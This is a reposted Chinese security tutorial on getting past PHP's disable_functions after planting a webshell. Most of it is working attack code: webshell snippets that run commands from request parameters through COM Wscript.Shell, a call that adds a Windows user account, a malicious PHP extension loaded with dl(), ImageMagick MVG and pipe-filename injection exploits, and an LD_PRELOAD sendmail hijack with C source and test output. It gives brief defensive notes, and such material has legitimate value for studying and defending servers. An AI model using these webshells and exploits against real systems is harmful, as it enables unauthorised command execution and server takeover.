php限制命令執行繞過(mail函數執行可以試試)


0x00 前言

上傳webshell后,執行命令時或許沒法執行了,這時我們該分析下原理並想出繞過方式,防守方也必須根據繞過方式想想更強的防御.

exec()
shell_exec() 或者 `cmd`
system()
passthru()
popen()
proc_open()
pcntl_exec() //需要開啟pcntl擴展
COM組建:Wscript.Shell和Shell.Application
dl() //通過加載自定義php擴展突破 disable_fucnitons指令的限制
第十種(利用PHP內核變量繞過disable_functions)請直接移步到freebuf


作者:min tiny
鏈接:https://www.zhihu.com/question/41810594/answer/99036512
來源:知乎
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

1. exec
原型:string exec ( string command [, array &output [, int &return_var]] )
描述:所有輸出結果將會保存到$output數組,返回值中是最后的輸出結果(也就是output的最后一行 ),$return_var用來保存命令執行的狀態碼(用來檢測成功或失敗)。
例子:$ret = exec("ls -al", $output, $var);

2. shell_exec \ ``(反斜杠)
原型:string shell_exec ( string $cmd )



3. system
原型:string system ( string command [, int &return_var] )
描述:執行給定的命令,返回最后的輸出結果;第二個參數是可選的,用來得到命令執行后的狀態碼。
例子:$ret = system("ls -al", $var);


4. passthru
原型:void passthru (string command [, int return_var])
描述:執行給定的命令,但不返回任何輸出結果,而是直接輸出到顯示設備上;第二個參數可選,用來得到命令執行后的狀態碼。
例子:passthru("ls -al", $var);

5. popen
原型:resource popen ( string command, string mode )
描述:打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫)並且必須用 pclose() 來關閉。此指針可以用於 fgets(),fgetss() 和 fwrite()。
例子
1:$fd = popen("command", 'r'); $ret = fgets($fd);
2:$fd = popen("systeminfo >d:\\1.txt", 'r'); pclose($fd);print(fgets(fopen("d:\\1.txt",'r')));
3:$fd=popen("ipconfig",'r');
while($s=fgets($fd)){
print_r($s);
}
注意:只能打開單向管道,不是'r'就是'w';並且需要使用pclose()來關閉。

6. proc_open
原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )
描述:與popen類似,但是可以提供雙向管道。具體的參數讀者可 以自己翻閱php manual
注意:
A. 后面需要使用proc_close()關閉資源,並且如果是pipe類型,需要用pclose()關閉句柄。
B. proc_open打開的程序作為php的子進程,php退出后該子進程也會退出。
例子:
<?php
$descriptorspec=array( //這個索引數組用力指定要用proc_open創建的子進程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子進程創建的管道對應到 PHP 這一端的文件指針($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

7. cntl_exec
原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在當前進程空間執行以給定參數執行指定程序。
pcntl是linux下的一個擴展,可以支持php的多線程操作。
參數:
path: 必須是可執行二進制文件路徑或一個在文件第一行指定了一個可執行文件路徑
標頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的
信息請查看您系統的execve(2)手冊。
args: 一個要傳遞給程序的參數的字符串數組。
envs: 一個要傳遞給程序作為環境變量的字符串數組。這個數組是 key => value格
式的,key代表要傳遞的環境變量的名稱,value代表該環境變量值。
返回值:當發生錯誤時返回 FALSE ,沒有錯誤時沒有返回。

8. COM組建(針對windwos環境下使用com組建)
原型:
Wscript.Shell->exec(command) //
Shell.Application->ShellExecute(appName,appArgs,appPath) //
Shell.Application->open(appPath) //要填寫程序絕對路徑,並且應該沒有辦法加參數
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()
描述:在windwos下,並且在php中開啟com組建擴展之后可以使用這種方法(打開方式自行百度)
徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件
例子:
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

<?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");
//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");
?>

<?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
?>

<?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
?>

<?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
?>

9.dl()
要求:php沒有開啟安全模式,並且enable_dl選項為on,並且php版本支持dl函數
(在 PHP 5.3 里,此函數被某些 SAPI 移除了,也就是沒有這個函數?)
說明:extension_dir選項可以指定擴展模塊的目錄,但是我們可以使用相對路徑的方式繞過
原理:自己編寫擴展,然后使用dl加載此擴展。
舉例(linux):
准備工作:
自行上網下載apache和相近版本的php源碼,按照apache和php的官方文檔進行安裝。
我們主要需要三個文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后,
phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。
ext_skel是php源碼包中的用來幫助制作擴展的程序。
1)轉到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴展中的函數原型,例如:
string exec(string str)
2)執行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄,
里面則是擴展所需要的文件
3)cd tinymin
4)vi config.m4
將 config.m4文件里面
dnl PHP_ARG_WITH(myext, for myext support,
dnl Make sure that the comment is aligned:
dnl [ --with-myext Include myext support])
修改成
PHP_ARG_WITH(myext, for myext support,
[ --with-myext Include myext support])
5)vi tinymin.c
將PHP_FUNCTION(exec)后面的大括號里面的代碼的最后一行刪除,並寫上自己的代碼,修改后如:PHP_FUNCTION(haha)
{
char *str = NULL;
int argc = ZEND_NUM_ARGS();
int str_len;

if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE)
return;

return system(str);
}
6)找到phpize:find / -name "phpize" 然后運行一下phpize:
/my_lamp/php/bin/phpize
7) 同樣方式找到php-config,然后運行configure:
./configure --with-php-config=/my_lamp/php/bin/php-config
8)make&&make install
之后便在自己的php擴展目錄中生成了擴展tinymin.so
在目標服務器上面上傳tinymin.so(不一定要在它的php擴展目錄中,因為可以使用相對路徑)
用法例如:
<?php
dl("../../../../../tmp/tinymin.so");
echo exec($_GET['cmd']);
?>
這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時候提示沒有dl這個函數,具體原因參見php manual
windows上應該也是一樣的原理。不過沒有試過


10.內核變量
目前我還不是很清楚這種方式。。。。毛子果然厲害

0x01 php webshell執行命令原理

php webshell(以下簡稱webshell)下是怎么執行系統命令的?我們找一個webshell分析下

搜索關鍵字定位到以下代碼

  1. function execute($cfe) {
  2.        $res = '';
  3.        if ($cfe) {
  4.               if(function_exists('system')) {
  5.                      @ob_start();
  6.                      @system($cfe);
  7.                      $res = @ob_get_contents();
  8.                      @ob_end_clean();
  9.               } elseif(function_exists('passthru')) {
  10.                      @ob_start();
  11.                      @passthru($cfe);
  12.                      $res = @ob_get_contents();
  13.                      @ob_end_clean();
  14.               } elseif(function_exists('shell_exec')) {
  15.                      $res = @shell_exec($cfe);
  16.               } elseif(function_exists('exec')) {
  17.                      @exec($cfe,$res);
  18.                      $res = join("\n",$res);
  19.               } elseif(@is_resource($f = @popen($cfe,"r"))) {
  20.                      $res = '';
  21.                      while(!@feof($f)) {
  22.                             $res .= @fread($f,1024);
  23.                      }
  24.                      @pclose($f);
  25.               }
  26.        }
  27.        return $res;
  28. } 

即按順利調用system(),passthru(),shell_exec,exec,popen函數 成功調用就不再往下調用

 

0x02禁止webshell執行命令原理

Php配置文件里面有個disable_functions = 配置,這個禁止某些php函數,

服務器便是用這個來禁止php的執行命令函數,

例如

  1. disable_functions =system,passthru,shell_exec,exec,popen

便禁止了用這些函數來執行系統命令

0x03黑名單繞過

知道了原理后,我們便能想出很多繞過的方式

首先是黑名單繞過

我們看看php下能夠執行系統命令的函數有哪些

  1. assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反單引號</strong>)

那么 便可以看看php.ini中的disable_function漏過了哪些函數。

然后 hack it.

曾經在給某大企業做滲透測試時,未禁用assert 成功執行命令

烏雲上的案例 未禁用proc_open而引起

http://www.wooyun.org/bugs/wooyun-2013-015991

解決方案:關注並收集php系統命令執行函數,補齊disable_function項。

0x04 系統組件繞過

這個方法適用於windows

  1. <?php
  2. $command=$_POST[a];
  3. $wsh = new COM('WScript.shell');   // 生成一個COM對象
  4. $exec = $wsh->exec('cmd.exe /c '.$command); //調用對象方法來執行命令
  5. $stdout = $exec->StdOut();
  6. $stroutput = $stdout->ReadAll();
  7. echo $stroutput
  8. ?>

Shell.Application也可以實現同樣的效果

徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件

0x05拓展庫繞過

Linux下可通過編譯拓展庫進行繞過

網絡上的方法及官方的方法 都提示錯誤,

經過研究 給出一種正確編譯PHP拓展庫的方法

前方高能。

首先得知PHP服務器php版本,下載個相同或相近版本的php源碼包

  1. tar zxvf php-5.3.10.tar.gz  //解壓縮
  2. cd php-5.3.10/ext      
  3. ./ext_skel --extname=dl  //生成名為dl的拓展庫
  4. cd dl
  5. vi config.m4

將這三行

  1. PHP_ARG_WITH(dl, for dl support,
  2.  
  3. Make sure that the comment is aligned:
  4.  
  5. [  --with-dl             Include dl support])

前面的dnl去掉並保存

  1. whereis phpize          //找出phpize路徑
  2.  
  3. /usr/local/bin/phpize     // 運行phpize
  4.  
  5. vi dl.c

  1. if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
  2.     return;
  3. }

這一行下添加

  1. system(arg);
  1. whereis php-config  //找出php-config的路徑
  2.  
  3. ./configure --whith-php-config=php-config路徑
  4.  
  5. make
  6.  
  7. make install
  8.  
  9. [root@TENCENT64 ~/php-5.3.10/ext/dl]# make install
  10.  
  11. Installing shared extensions:     /usr/local/lib/php/extensions/no-debug-non-zts-20121212/

成功生成了

查看php.ini的

extension_dir 項

  1. /usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so

拷貝到extension_dir目錄下

若extension_dir目錄無寫權限則可寫入任意目錄用../../來繞過並調用。

利用代碼:

  1. <?php
  2. dl("dl.so");  //dl.so在extension_dir目錄,如不在則用../../來實現調用
  3. confirm_dl_compiled("$_GET[a]>1.txt");
  4. ?>

查看1.txt即可看到命令執行結果 

防御方法:將dl函數加入disable_function中禁用

0x06 ImageMagick組件

1、Delegate命令執行

默認的配置文件在源碼的config/delegates.xml.in中,一般使用者很少會去修改這個配置文件。

具體的內容如下:

https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c(存在漏洞的版本)

對於https形式的文件,他是這樣處理的:

command定義了他具體帶入system()執行的命令:"wget" -q -O "%o" "https:%M"。

%M是占位符,在配置文件中有對占位符的定義:

%m被定義為輸入的圖片格式,也就是我們輸入的url地址。但是由於只是做了簡單的字符串拼接,所以我們可以將引號閉合后通過管道符帶入其他命令,也就形成了命令注入。

比如url為:https://example.com"|ls "-la

那實際命令就變成了:

"wget" -q -O "%o" " https://example.com"|ls "-la"
ls –la被執行了。

EXP:

  1. <?php 
  2. echo "Disable Functions: " . ini_get('disable_functions') . "\n"; 
  3.  
  4. $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; 
  5. if ($command == '') { 
  6.     $command = 'id'; 
  7. } 
  8.  
  9. $exploit = <<<EOF 
  10. push graphic-context 
  11. viewbox 0 0 640 480 
  12. fill 'url(https://example.com/image.jpg"|$command")' 
  13. pop graphic-context 
  14. EOF; 
  15.  
  16. file_put_contents("KKKK.mvg", $exploit); 
  17. $thumb = new Imagick(); 
  18. $thumb->readImage('KKKK.mvg'); 
  19. $thumb->writeImage('KKKK.png'); 
  20. $thumb->clear(); 
  21. $thumb->destroy(); 
  22. unlink("KKKK.mvg"); 
  23. unlink("KKKK.png"); 
  24. ?>

或者

  1. <?php
  2. $c=$_REQUEST['c'];
  3. $e = <<<EOF
  4. push graphic-context
  5. viewbox 0 0 640 480
  6. fill 'url(https://"|$c")'
  7. pop graphic-context
  8. EOF;
  9. $i = new Imagick();
  10. $i->readImageBlob($e);
  11. ?>

2、popen_utf8命令注入

ImageMagick在處理文件名時會調用OpenBlob()函數,在OpenBlob()函數中,代碼2484行,判斷文件名是否以|豎線開頭,如果是,那么他會調用popoen_utf8()函數處理文件名,代碼如圖:

來到popoen_utf8()函數,popen_utf8()函數調用會調用popen()函數打開文件,這樣就導致我們可以注入系統命令,代碼如圖:

 

利用前提:上傳后文件名不被處理,部分命令需要截包修改寫入特殊符號(前台校驗)

EXP:

文件名‘|touch /tmp/niubl’

  1. <?php
  2. new Imagick('|touch /tmp/niubl');
  3. ?>

 

0x07 LD_PRELOAD劫持

php的mail函數在執行過程中會默認調用系統程序/usr/sbin/sendmail,如果我們能劫持sendmail程序,再用mail函數來觸發就能實現我們的目的了。那么我們有沒有辦法在webshell層來劫持它呢,環境變量LD_PRELOAD給我們提供了一種簡單實用的途徑。

編寫hack.c:

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h> 
  4.  
  5. void payload() {
  6.         system("rm /tmp/check.txt");
  7. }   
  8.  
  9. int  geteuid() {
  10. if (getenv("LD_PRELOAD") == NULL) { return 0; }
  11. unsetenv("LD_PRELOAD");
  12. payload();
  13. }

當這個共享庫中的geteuid被調用時,嘗試加載payload()函數,執行命令。這個測試函數寫的很簡單,實際應用時可相應調整完善。在攻擊機上(注意編譯平台應和靶機平台相近,至少不能一個是32位一個是64位)把它編譯為一個位置信息無關的動態共享庫:

  1. $ gcc --fPIC hack.-o hack 
  2.  
  3. $ gcc -shared hack -o hack.so

再上傳到webshell上,然后寫一段簡單的php代碼:

  1. <?php
  2. putenv("LD_PRELOAD=/var/www/hack.so");
  3. mail("a@localhost","","","","");
  4. ?>

在瀏覽器中打開就可以執行它,然后再去檢查新建的文件是否還存在,找不到文件則表示系統成功執行了刪除命令,也就意味着繞過成功,測試中注意修改為實際路徑。 本地測試效果如下:

  1. [yiyang@bogon Desktop]$ touch /tmp/check.txt
  2. [yiyang@bogon bin]./php mail.php
  3. sendmail: warning: the Postfix sendmail command has set-uid root file permissions
  4. sendmail: warning: or the command is run from a set-uid root process
  5. sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
  6. sendmail: fatal: setgroups(1, &500): Operation not permitted
  7. [yiyang@bogon bin]$ cat /tmp/check.txt
  8. cat: /tmp/check.txt: No such file or directory

普通用戶權限,目標文件被刪除。

 

防御措施:

以上方法在Linux RHEL6及自帶郵件服務+php5.3.X以下平台測試通過,精力有限未繼續在其他平台測試,新版本可能進行了相應修復。這種繞過行為其實也很容易防御,禁用相關函數或者限制環境變量的傳遞,例如安全模式下,這種傳遞是不會成功的。這個思路不僅僅局限於mail函數,你可以嘗試追蹤其他函數的調用過程,例如syslog等與系統層有交集的函數是否也有類似調用動態共享庫的行為來舉一反三。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM